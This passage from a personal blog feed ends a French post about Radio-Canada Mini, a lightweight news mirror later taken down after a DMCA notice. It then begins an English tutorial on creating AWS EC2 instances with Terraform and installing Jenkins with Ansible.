&lt;p&gt;&lt;strong&gt;Sans publicités&lt;/strong&gt;: Aucune publicité n’est ajoutée au site. Radio-Canada Mini ne rapporte aucun revenu.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Respect de la vie privée&lt;/strong&gt;: Aucun &lt;em&gt;trackers&lt;/em&gt;, aucun &lt;em&gt;cookies&lt;/em&gt;. Le site ne récupère aucune information sur votre navigateur et votre configuration. La seule métrique qui est utilisée est celle disponible via Cloudflare (les statistiques de requêtes DNS).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Faible consommation de données&lt;/strong&gt;: La page d’accueil de Radio-Canada.ca fait 3200 kb (3.2 MB), alors que Radio-Canada Mini et la plupart de ses pages font moins de 20 kb. &lt;em&gt;Environ 160 fois moins de données sont consommées en visitant Radio-Canada Mini.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Empreinte carbone réduite&lt;/strong&gt;: &lt;a href=&quot;https://www.websitecarbon.com/website/radiocanadamini-ca/&quot;&gt;Radio-Canada Mini a une empreinte carbone exemplaire (source: WebsiteCarbon.com)&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;affiliation-a-cbc-radio-canada&quot;&gt;Affiliation à CBC/Radio-Canada&lt;/h3&gt;
&lt;p&gt;Radio-Canada Mini est un projet indépendant. Il s’agit d’un projet personnel mis en ligne sans aucune intervention de la société d’État.&lt;/p&gt;
&lt;h2 id=&quot;aspects-techniques&quot;&gt;Aspects techniques&lt;/h2&gt;
&lt;p&gt;Quelques détails techniques sur le projet.&lt;/p&gt;
&lt;p&gt;Le code source est publiquement accessible sur &lt;a href=&quot;https://github.com/jr-b/radiocanadalite&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;structure-des-donnees&quot;&gt;Structure des données&lt;/h3&gt;
&lt;p&gt;Dans le projet Eleventy, le dossier &lt;code&gt;_data&lt;/code&gt; contient tous les fichiers Javascript qui appellent les endpoints de l&#39;API public de Radio-Canada (À la une, Politique, Arts, etc.). Chaque fichier Javascript réalise la série de tâches suivante:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fetch le endpoint du lineup, par exemple &lt;code&gt;https://services.radio-canada.ca/neuro/v1/lineups/771&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Récupérer tous les &lt;code&gt;items&lt;/code&gt; (les articles) du lineup&lt;/li&gt;
&lt;li&gt;Filtre la liste des &lt;code&gt;items&lt;/code&gt; pour exclure les documents atypiques (redirection, etc.)&lt;/li&gt;
&lt;li&gt;Fetch tous les articles à partir des URL récupérés (&lt;code&gt;https://services.radio-canada.ca/neuro/v1/news-stories/{ID}&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Retourne un objet Javascript qui contient toutes les données de tous les articles du lineup (images, auteur-e-s, catégories, texte, etc.)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Je peux ensuite appeler les données d&#39;une section dans un template Nunjucks en utilisant une boucle comme ceci:&lt;/p&gt;
&lt;pre class=&quot;language-nunjucks&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-nunjucks&quot;&gt;&lt;span class=&quot;token delimiter punctuation&quot;&gt;{%&lt;/span&gt; &lt;span class=&quot;token tag keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;newsstories&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;economie&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;endfor&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;frequence-de-mise-a-jour&quot;&gt;Fréquence de mise à jour&lt;/h3&gt;
&lt;p&gt;Le &lt;em&gt;build&lt;/em&gt; du projet est lancé toutes les 30 minutes via un &lt;code&gt;cron&lt;/code&gt;. Une requête POST est faite sur le &lt;em&gt;webhook&lt;/em&gt; du projet, ce qui déclenche le build. Toutes les sections du site sont donc rafraichies à chaque 30 minutes.&lt;/p&gt;
&lt;p&gt;À chaque build, tous les articles dans tous les lineups sont générés. Les articles générés par les builds passés restent disponibles, mais ne sont pas indexés sur le site (ce qui permet d&#39;accéder à un article du passé si on a le lien direct).&lt;/p&gt;
&lt;h3 id=&quot;couts&quot;&gt;Coûts&lt;/h3&gt;
&lt;p&gt;Le site n&#39;a demandé qu&#39;une seule dépense: le nom de domaine. J&#39;ai payé &lt;code&gt;rc-lite.xyz&lt;/code&gt; environ 1.50$ CAD en 2021. Le renouvellement devrait être aux alentours de 10$ CAD par an.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;J&#39;ai depuis changé le nom de domaine pour &lt;code&gt;radiocanadamini.ca&lt;/code&gt;, mais je n&#39;ai pas eu d&#39;autres dépenses.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Initialement, le projet roulait chez Vercel. J&#39;ai testé différentes approches au fil du temps (bucket S3 chez AWS, Netlify). Actuellement, le site est généré via une action GitHub, qui écrit les fichiers dans un repo GitHub où j&#39;ai configuré &lt;a href=&quot;https://pages.github.com/&quot;&gt;GitHub Pages&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;statistiques&quot;&gt;Statistiques&lt;/h2&gt;
&lt;p&gt;Environ 1 mois après avoir fait le transfert du domaine chez Cloudflare, voyons voir quelques statistiques de visite.&lt;/p&gt;
&lt;p&gt;Entre début janvier et début février, Cloudflare rapporte 1630 visites uniques. Quotidiennement, il y a eu au moins 71 visites sur le site, et au plus 180.&lt;/p&gt;
&lt;p&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://jrb.nz/posts/projet-radio-canada-lite/hkqMDKeGlD-2592.avif 2592w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://jrb.nz/posts/projet-radio-canada-lite/hkqMDKeGlD-2592.webp 2592w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://jrb.nz/posts/projet-radio-canada-lite/hkqMDKeGlD-2592.png&quot; alt=&quot;statistiques-rc-lite&quot; width=&quot;2592&quot; height=&quot;1284&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Il faut signaler que je n&#39;ai pas vraiment fait de publicité pour le site. J&#39;ai ajouté le projet sur https://250kb.club, https://512kb.club et https://1mb.club, qui sont des listes de sites web légers.&lt;/p&gt;
&lt;p&gt;J&#39;ai mentionné Radio-Canada Mini dans les commentaires de l&#39;article &lt;a href=&quot;https://greycoder.com/a-list-of-text-only-new-sites/&quot;&gt;A List Of Text-Only News Sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sinon j&#39;ai aussi mentionné le site à quelques reprises sur Twitter et dans la communauté autour du projet 11ty.&lt;/p&gt;
&lt;h2 id=&quot;mise-a-jour-juin-2023&quot;&gt;Mise à jour : juin 2023&lt;/h2&gt;
&lt;p&gt;Le projet a changé de nom au cours de l&#39;année 2022. Le nom initial, &lt;code&gt;Radio-Canada Lite&lt;/code&gt; faisait écho à &lt;code&gt;CBC Lite&lt;/code&gt;, mais je trouvais qu&#39;un nom francophone ferait plus de sens.&lt;/p&gt;
&lt;p&gt;J&#39;ai donc renommé le site &lt;strong&gt;Radio-Canada Mini&lt;/strong&gt;, avec le nom de domaine &lt;a href=&quot;https://radiocanadamini.ca&quot;&gt;radiocanadamini.ca&lt;/a&gt;, sous le TLD &lt;code&gt;.ca&lt;/code&gt; (qui est beaucoup plus cohérent avec le projet que &lt;code&gt;.xyz&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Suite au changement de nom, j&#39;ai partagé le projet sur deux communautés Reddit, &lt;code&gt;/r/montreal&lt;/code&gt; et &lt;a href=&quot;https://www.reddit.com/r/Quebec/comments/1187h9c/radiocanada_mini_une_version_l%C3%A9g%C3%A8re_de/&quot;&gt;&lt;code&gt;/r/Quebec&lt;/code&gt;&lt;/a&gt;, et ç&#39;a été assez bien reçu. Un développeur de Radio-Canada m&#39;a même contacté en privé pour me féliciter et me proposer de partager mon CV à l&#39;interne.&lt;/p&gt;
&lt;p&gt;Un &lt;a href=&quot;https://hugo.soucy.cc&quot;&gt;internaute&lt;/a&gt; m&#39;a aussi contacté (via une &lt;code&gt;issue&lt;/code&gt; sur le projet Github) pour mentionner le fait qu&#39;il aimerait que le contenu soit disponible via fil RSS. J&#39;ai pris un peu de temps le weekend suivant pour rendre disponible chaque section via un fil RSS (https://radiocanadamini.ca/rss/politique.xml)&lt;/p&gt;
&lt;p&gt;En date du 16 juin 2023, le site reçoit en moyenne 600 visiteurs uniques par jour. Sur un mois, c&#39;est environ 7000 visiteurs uniques, et environ 100 000 requêtes faites sur le nom de domaine.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Requêtes reçues par Cloudflare dans les 30 derniers jours.&lt;/em&gt;
&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://jrb.nz/posts/projet-radio-canada-lite/iJBsPlYifY-2296.avif 2296w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://jrb.nz/posts/projet-radio-canada-lite/iJBsPlYifY-2296.webp 2296w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://jrb.nz/posts/projet-radio-canada-lite/iJBsPlYifY-2296.png&quot; alt=&quot;statistiques-rc-lite&quot; width=&quot;2296&quot; height=&quot;1376&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Visiteurs uniques rapportés par Cloudflare dans les 30 derniers jours.&lt;/em&gt;
&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://jrb.nz/posts/projet-radio-canada-lite/bKrArpQq7F-2298.avif 2298w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://jrb.nz/posts/projet-radio-canada-lite/bKrArpQq7F-2298.webp 2298w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://jrb.nz/posts/projet-radio-canada-lite/bKrArpQq7F-2298.png&quot; alt=&quot;statistiques-rc-lite&quot; width=&quot;2298&quot; height=&quot;1374&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h2 id=&quot;mise-a-jour-juin-2024&quot;&gt;Mise à jour : juin 2024&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/github/dmca/blob/d6ec9201221fd1a73d938f333254c89a1b6e8aa0/2024/06/2024-06-05-radio-canada.md?plain=1#L23&quot;&gt;Le projet a reçu un avis de retrait DMCA le 5 juin 2024&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;En me lançant dans le projet, je savais que ça finirait avec ce genre de situation. Après tout, je réutilisais/reproduisais du contenu qui ne m&#39;appartenait pas. Je n&#39;avais pas vraiment de recours face à ça.&lt;/p&gt;
&lt;p&gt;Un des soucis importants que je créais avec radiocanadamini.ca, c&#39;était la question du contrôle sur le contenu publié et sa disponibilité. Certains contenus publiés par Radio-Canada/CBC doivent être rapidement retirés du web dans certains contextes, notamment judiciaire.&lt;/p&gt;
&lt;p&gt;Mon projet ne supportait pas la dépublication d&#39;un article précédemment publié. Si un article était disponible au moment du build, la page HTML restait visible dans le dépot de code du site, peu importe ce qui advenait du texte par après à la source.&lt;/p&gt;
&lt;p&gt;J&#39;ai exploré l&#39;idée de refactor le projet et de charger les pages seulement quand elles sont demandées, et ce directement à partir de l&#39;API source. J&#39;aurais donc évité de conserver du contenu qui ne devait pas l&#39;être dans ce genre de situation.&lt;/p&gt;
&lt;p&gt;Vu les enjeux légaux du projet, j&#39;ai laissé tomber.&lt;/p&gt;
&lt;p&gt;On peut consulter le site sur la Wayback Machine: &lt;a href=&quot;https://web.archive.org/web/20240601115720/https://radiocanadamini.ca/&quot;&gt;https://web.archive.org/web/20240601115720/https://radiocanadamini.ca/&lt;/a&gt;&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot;&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Rapport &lt;em&gt;En attente de connexion&lt;/em&gt;: &lt;a href=&quot;https://www.rapports-cac.ca/wp-content/uploads/2021/10/2021-10-26-HTSN-1P-FRE-FINAL-1.pdf&quot;&gt;consulter les principales constatations&lt;/a&gt; &lt;a href=&quot;https://jrb.nz/posts/projet-radio-canada-lite/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
  </entry>
  <entry>
    <title>First steps with AWS, Terraform, Jenkins and Ansible</title>
    <link href="https://jrb.nz/posts/aws-terraform-devops01/" />
    <updated>2021-07-29T00:00:00Z</updated>
    <id>https://jrb.nz/posts/aws-terraform-devops01/</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;I&#39;m publishing this as an updated version of Scotty Parlor&#39;s &lt;a href=&quot;https://www.scottyfullstack.com/blog/devops-01-aws-terraform-ansible-jenkins-and-docker/&quot;&gt;LEARNING DEVOPS: AWS, TERRAFORM, ANSIBLE, JENKINS, AND DOCKER&lt;/a&gt; tutorial. It has allowed me to play with Terraform, Ansible and Jenkins for the first time. Needless to say, I learned a lot. I made some modification here and there where I could.&lt;/p&gt;
&lt;p&gt;All the code snippets are initially from Scotty Parlor. Check out his blog and &lt;a href=&quot;https://www.youtube.com/channel/UCIx6h8L9gYlOmy0l8Ux-x7Q/featured&quot;&gt;Youtube Channel&lt;/a&gt; for more great content!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here&#39;s what we&#39;ll be building (image is from &lt;a href=&quot;https://www.scottyfullstack.com/blog/devops-01-aws-terraform-ansible-jenkins-and-docker/&quot;&gt;Scotty&#39;s blog post&lt;/a&gt;)
&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://jrb.nz/posts/aws-terraform-devops01/JeB-3R7ncy-960.avif 960w&quot;&gt;&lt;source srcset=&quot;https://jrb.nz/posts/aws-terraform-devops01/JeB-3R7ncy-960.heif 960w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://jrb.nz/posts/aws-terraform-devops01/JeB-3R7ncy-960.webp&quot; alt=&quot;image&quot; width=&quot;960&quot; height=&quot;720&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;summary-of-the-project&quot;&gt;Summary of the project:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Launch two AWS EC2 instances with Terraform and configure them with Ansible. Everything is kept within the Free Tier, so this shouldn&#39;t cost anything.&lt;/li&gt;
&lt;li&gt;The first instance will be a Jenkins server, the second instance will be Docker server running a web server container (with Python and the Falcon framework).&lt;/li&gt;
&lt;li&gt;Jenkins will allow us to SSH into the Docker server and control our container (basic pipeline).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;We&#39;ll be gaining a basic understanding of the following:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Jenkins, as a tool to launch jobs on remote hosts&lt;/li&gt;
&lt;li&gt;AWS, as a cloud provider&lt;/li&gt;
&lt;li&gt;Infrastructure as Code (IaC) with Terraform&lt;/li&gt;
&lt;li&gt;Ansible, as a provisonning and configuration tool for remote hosts&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;AWS root account to create and use an AWS non root account&lt;/li&gt;
&lt;li&gt;Key pair created in a AWS region&lt;/li&gt;
&lt;li&gt;Docker account&lt;/li&gt;
&lt;li&gt;Github account (to push your final code to a repository)&lt;/li&gt;
&lt;li&gt;And some knowledge of the CLI (I&#39;m on macOS)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;install-necessary-cli-tools&quot;&gt;Install necessary CLI tools&lt;/h2&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;brew &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; awscli aws-vault ansible terraform&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;authentication-with-aws&quot;&gt;Authentication with AWS&lt;/h2&gt;
&lt;p&gt;You then have to run a couple of commands to be able to authenticate with AWS from the command line:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;aws configure&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&#39;ll be asked to enter your AWS Access Key ID, Secret Access Key, Default region name and Default output format. You can leave the latter blank.&lt;/p&gt;
&lt;p&gt;Now run the &lt;code&gt;aws-vault&lt;/code&gt; tool we installed to add the non-root account. On macOS, you&#39;ll be prompted to define a password to save the credentials.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;aws-vault &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;name-of-your-non-root-user&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All done, you can now successfully authenticate with AWS from the CLI. To validate that it is true, you can run the &lt;code&gt;exec&lt;/code&gt; command of &lt;code&gt;aws-vault&lt;/code&gt; to confirm it:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;aws-vault &lt;span class=&quot;token builtin class-name&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;name-of-your-non-root-user&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id=&quot;terraform&quot;&gt;Terraform&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Terraform&lt;/strong&gt; is an &lt;a href=&quot;https://en.wikipedia.org/wiki/Open-source&quot; title=&quot;Open-source&quot;&gt;open-source&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Infrastructure_as_code&quot; title=&quot;Infrastructure as code&quot;&gt;infrastructure as code&lt;/a&gt;, software tool created by &lt;a href=&quot;https://en.wikipedia.org/wiki/HashiCorp&quot; title=&quot;HashiCorp&quot;&gt;HashiCorp&lt;/a&gt;. Users define and provide data center infrastructure using a declarative configuration language known as HashiCorp Configuration Language (HCL), or optionally &lt;a href=&quot;https://en.wikipedia.org/wiki/JSON&quot; title=&quot;JSON&quot;&gt;JSON&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Make a folder where you&#39;ll keep your project files, and create the following &lt;code&gt;main.tf&lt;/code&gt; file:&lt;/p&gt;
&lt;pre class=&quot;language-terraform&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-terraform&quot;&gt;# Following this guide : https://www.scottyfullstack.com/blog/devops-01-aws-terraform-ansible-jenkins-and-docker/

terraform {
  required_providers {
    aws = {
      source  = &quot;hashicorp/aws&quot;
      version = &quot;~&gt; 3.0&quot;
    }
  }
}

# Configure the AWS Provider
# Define the region
provider &quot;aws&quot; {
    region = &quot;us-east-1&quot;
}

# Using this documentation: https://blog.gruntwork.io/a-crash-course-on-terraform-5add0d9ef9b4
# Create the security group allowing inbound SSH and HTTP traffic
resource &quot;aws_security_group&quot; &quot;instance&quot; {
  name = &quot;terraform-jekins-docker&quot;
  description = &quot;allow inbound traffic for SSH (any IP) and HTTP (only from my IP)&quot;

  ingress {
    from_port   = 22
    to_port     = 22
    protocol    = &quot;tcp&quot;
    cidr_blocks = [&quot;0.0.0.0/0&quot;]
  }

  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = &quot;tcp&quot;
    cidr_blocks = [&quot;my.public.ip.0/32&quot;] # specify your ip here
  }

  ingress {
    from_port   = 8080
    to_port     = 8080
    protocol    = &quot;tcp&quot;
    cidr_blocks = [&quot;my.public.ip.0/32&quot;] # specify your ip here
  }

    ingress {
    from_port   = 8000
    to_port     = 8000
    protocol    = &quot;tcp&quot;
    cidr_blocks = [&quot;my.public.ip.0/32&quot;] # specify your ip here
  }

  egress {
    from_port        = 0
    to_port          = 0
    protocol         = &quot;-1&quot;
    cidr_blocks      = [&quot;0.0.0.0/0&quot;] # outbound traffic to anything
    ipv6_cidr_blocks = [&quot;::/0&quot;]
  }
}

# Create the EC2 for Jenkins
resource &quot;aws_instance&quot; &quot;jenkins&quot; {

    ami = &quot;ami-0022f774911c1d690&quot;
    instance_type = &quot;t2.micro&quot;
    key_name = &quot;us-east1-kpair&quot;

    vpc_security_group_ids = [aws_security_group.instance.id]

    tags = {
        Name = &quot;jenkins&quot;
    }

}

#Create the EC2 for Docker web server
resource &quot;aws_instance&quot; &quot;docker-web-server&quot; {

    ami = &quot;ami-0022f774911c1d690&quot;
    instance_type = &quot;t2.micro&quot;
    key_name = &quot;us-east1-kpair&quot;

    vpc_security_group_ids = [aws_security_group.instance.id]

    tags = {
        Name = &quot;docker-web-server&quot;
    }

}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&#39;s what&#39;s happening in this file. We&#39;re telling Terraform to perform these actions for us:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a security group that will allow HTTP and SSH inbound traffic. We&#39;re allowing HTTP (ports 80 and 8080) traffic only from my public IP, and SSH from any IP.&lt;/li&gt;
&lt;li&gt;Create an EC2 instance for Jenkins, t2.micro being the type we want to keep it within the Free Tier. We&#39;re using an Amazon managed image ami-0022f774911c1d690. Assign the security group previously created to this instance. Also define which key pair to use so we can SSH into the instance (check that you&#39;re using the correct key pair for the region).&lt;/li&gt;
&lt;li&gt;Do the same for the Docker instance, only changing the name and tag so we can differantiate the two instances.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you want to use this same file, you&#39;ll need to specify the CIDR blocks for the HTTP traffic ports. You can use your own public IP, or 0.0.0.0/0 to allow any IP to connect.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;main.tf&lt;/code&gt; file is now complete. You can use it with these &lt;code&gt;terraform&lt;/code&gt; commands:&lt;/p&gt;
&lt;p&gt;Initialize the Terraforn directory:
&lt;code&gt;terraform init&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Check whether the configuration (your &lt;code&gt;main.tf&lt;/code&gt; file) is valid:
&lt;code&gt;terraform validate&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Show changes required by the current configuration. Nothing is applied here, it&#39;s only to show whats changes will be made if you apply:
&lt;code&gt;terraform plan&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Create or update infrastructure. Will show the same plan than &lt;code&gt;terraform plan&lt;/code&gt;, but will also ask for a confirmation before doing the changes:
&lt;code&gt;terraform apply&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Destroy previously-created infrastructure. Very handy since this is a one time project, and we want to keep withint the Free Tier.
&lt;code&gt;terraform destroy&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If you ran &lt;code&gt;init&lt;/code&gt;, &lt;code&gt;plan&lt;/code&gt;, and &lt;code&gt;apply&lt;/code&gt;, you should now have two EC2 instances running in AWS! Congratulations!&lt;/p&gt;
&lt;p&gt;Now you can check if your security group got correctly applied. You should be able to SSH in the two instances with:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ssh -i ~/path/to/your/keypair ec2-user@public-dns-of-instance&lt;/code&gt;&lt;/p&gt;
&lt;h1 id=&quot;ansible&quot;&gt;Ansible&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Ansible is a suite of software tools that enables infrastructure as code. It is open-source and the suite includes software provisioning, configuration management, and application deployment functionality.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We already installed Ansible with &lt;code&gt;brew&lt;/code&gt; at the beginning. Let&#39;s dive into this second part, where we&#39;ll tell Ansible what to do on the instances we launched.&lt;/p&gt;
&lt;p&gt;Ansible works with a hosts file, called the inventory file, where it looks for host on which to do the commands. The hosts file is structured like this:&lt;/p&gt;
&lt;pre class=&quot;language-ansible&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-ansible&quot;&gt;[dbservers]
db01.test.example.com
db02.test.example.com

[appservers]
app01.test.example.com
app02.test.example.com
app03.test.example.com&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The headings in brackets are group names, which are used in classifying hosts and deciding what hosts you are controlling at what times and for what purpose.&lt;/p&gt;
&lt;p&gt;Lets&#39; make a folder, and create our inventory file:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mkdir ansible; cd ansible; touch aws-hosts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Then we edit the &lt;code&gt;aws-hosts&lt;/code&gt; with the following:&lt;/p&gt;
&lt;pre class=&quot;language-ansible&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-ansible&quot;&gt;[docker-web-server]
ec2-user@public_web_ip ansible_ssh_private_key_file=~/.ssh/yourKeyPair.pem

[jenkins]
ec2-user@public_jenkins_ip ansible_ssh_private_key_file=~/.ssh/yourKeyPair.pem&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So now, when we&#39;ll reference &lt;code&gt;jenkins&lt;/code&gt; or &lt;code&gt;docker-web-server&lt;/code&gt; in our Ansible playbooks, Ansible we&#39;ll be able to reach our instances in AWS.&lt;/p&gt;
&lt;p&gt;We&#39;ll now work on our playbook for Jenkins with the file &lt;code&gt;provision-jenkins.yml&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-yaml&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Configure Jenkins Server
  &lt;span class=&quot;token key atrule&quot;&gt;hosts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; jenkins
  &lt;span class=&quot;token key atrule&quot;&gt;tasks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install Java Requirements
      &lt;span class=&quot;token key atrule&quot;&gt;yum&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; java&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;11&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;become&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; yes

    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Jenkins dependencies
      &lt;span class=&quot;token key atrule&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
        wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
        rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;become&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; yes

    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install Jenkins
      &lt;span class=&quot;token key atrule&quot;&gt;yum&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; jenkins
      &lt;span class=&quot;token key atrule&quot;&gt;become&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; yes

